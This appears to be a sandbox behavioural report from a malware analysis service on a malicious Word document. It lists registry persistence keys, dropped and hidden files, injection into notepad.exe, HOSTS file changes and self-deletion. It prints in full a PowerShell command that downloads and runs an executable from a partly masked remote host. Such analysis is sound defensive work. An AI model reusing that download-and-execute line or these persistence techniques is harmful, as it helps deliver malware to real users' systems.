Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'skypes' = '%HOMEPATH%\Documents\winskype.exe'
- [<HKLM>\Software\Microsoft\Windows NT\CurrentVersion\Winlogon] 'UserInit' = '<SYSTEM32>\userinit.exe,%HOMEPATH%\Documents\winskype.exe'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'wProPlayer' = '%APPDATA%\uniPlayer\uniPlayer.exe.exe'
Malicious functions
Downloads and executes
- http://fu###ash.cloud/tmpl_c/mscalc.exe as %temp%\mscalc.exe
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c powershell.exe (new-object system.net.webclient).downloadfile(' http://fu###ash.cloud/tmpl_c/mscalc.exe','%temp%\mscalc.exe');start-process '%temp%\mscalc.exe'
Injects code into
the following system processes:
- %WINDIR%\syswow64\notepad.exe
the following user processes:
- tvlswple.exe
Modifies file system
Creates the following files
- %TEMP%\mscalc.exe
- %HOMEPATH%\documents\winskype.exe
- %TEMP%\amdcpul.exe
- %TEMP%\audiomle.exe
- %TEMP%\document.pdf
- %TEMP%\monitrgb.exe
- %TEMP%\servwinle.exe
- %TEMP%\tvlswple.exe
- %TEMP%\videogpu.exe
- %TEMP%\windrvams.exe
- <Current directory>\~wrd0000.tmp
- <Current directory>\~wrd0001.tmp
- %APPDATA%\uniplayer\uniplayer.exe.exe
Sets the 'hidden' attribute to the following files
- %HOMEPATH%\documents\winskype.exe
Deletes the following files
- %TEMP%\mscalc.exe
- <Current directory>\~wrd0000.tmp
Modifies the following files
Substitutes the following files
- <PATH_SAMPLE>.doc
Modifies the HOSTS file.
Deletes itself.
Network activity
Connects to
- 'fu###ash.cloud':80
UDP
- DNS ASK fu###ash.cloud
Miscellaneous
Searches for the following windows
- ClassName: 'AdobeAcrobat' WindowName: ''
Creates and executes the following
- '%TEMP%\mscalc.exe'
- '%TEMP%\amdcpul.exe'
- '%TEMP%\audiomle.exe'
- '%TEMP%\monitrgb.exe'
- '%TEMP%\servwinle.exe'
- '%TEMP%\tvlswple.exe'
- '%TEMP%\videogpu.exe'
- '%TEMP%\windrvams.exe'
- '%HOMEPATH%\documents\winskype.exe'
- '%WINDIR%\syswow64\notepad.exe' ' (with hidden window)
Executes the following
- '%ProgramFiles(x86)%\adobe\acrobat reader dc\reader\acrord32.exe' "%TEMP%\DOCUMENT.PDF"
- '%WINDIR%\syswow64\notepad.exe'
